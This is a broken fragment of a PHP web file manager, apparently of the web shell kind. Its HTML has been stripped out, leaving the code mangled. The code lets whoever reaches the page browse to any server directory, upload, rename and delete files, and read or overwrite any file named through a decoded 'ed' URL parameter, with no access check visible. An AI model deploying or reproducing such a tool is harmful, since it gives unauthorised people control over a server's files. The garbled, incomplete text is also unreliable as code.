File uploaded successfully.

"; } else { echo "

File upload failed.

"; } } // Handle manual directory navigation if (isset($_POST['manual_path']) && is_dir($_POST['manual_path'])) { $currentDir = realpath($_POST['manual_path']); chdir($currentDir); } // Handle file rename if (isset($_POST['rename']) && isset($_POST['new_name']) && isset($_POST['old_name'])) { $oldPath = $currentDir . DIRECTORY_SEPARATOR . $_POST['old_name']; $newPath = $currentDir . DIRECTORY_SEPARATOR . $_POST['new_name']; if (file_exists($oldPath) && !file_exists($newPath)) { if (rename($oldPath, $newPath)) { echo "

File renamed successfully.

"; } else { echo "

File rename failed.

"; } } else { echo "

Invalid file names for renaming.

"; } } // Handle file delete if (isset($_POST['delete']) && isset($_POST['file_name'])) { $filePath = $currentDir . DIRECTORY_SEPARATOR . $_POST['file_name']; if (is_file($filePath)) { if (unlink($filePath)) { echo "

File deleted successfully.

"; } else { echo "

File deletion failed.

"; } } } // Handle file editing $fileContent = ''; if (isset($_GET['ed']) && is_file(decodePath($_GET['ed']))) { $filePath = $_GET['ed']; $filePath = decodePath($filePath); if (isset($_POST['file_content'])) { if (file_put_contents($filePath, $_POST['file_content'])) { echo "

File saved successfully.

"; } else { echo "

Failed to save file.

"; } } $fileContent = file_get_contents($filePath); } // Function to format file permissions function formatPermissions($perms) { $info = (($perms & 0x4000) == 0x4000) ? 'd' : '-'; $info .= (($perms & 0x0100) ? 'r' : '-') . (($perms & 0x0080) ? 'w' : '-') . (($perms & 0x0040) ? 'x' : '-'); $info .= (($perms & 0x0020) ? 'r' : '-') . (($perms & 0x0010) ? 'w' : '-') . (($perms & 0x0008) ? 'x' : '-'); $info .= (($perms & 0x0004) ? 'r' : '-') . (($perms & 0x0002) ? 'w' : '-') . (($perms & 0x0001) ? 'x' : '-'); return $info; } // Breadcrumb navigation $pathParts = explode(DIRECTORY_SEPARATOR, $currentDir); $breadcrumb = ""; echo $breadcrumb; // Display edit form if a file is being edited if ($fileContent !== ''): ?>

Editing File:

Cancel
Name Size (bytes) Creation Date Permissions Actions
Edit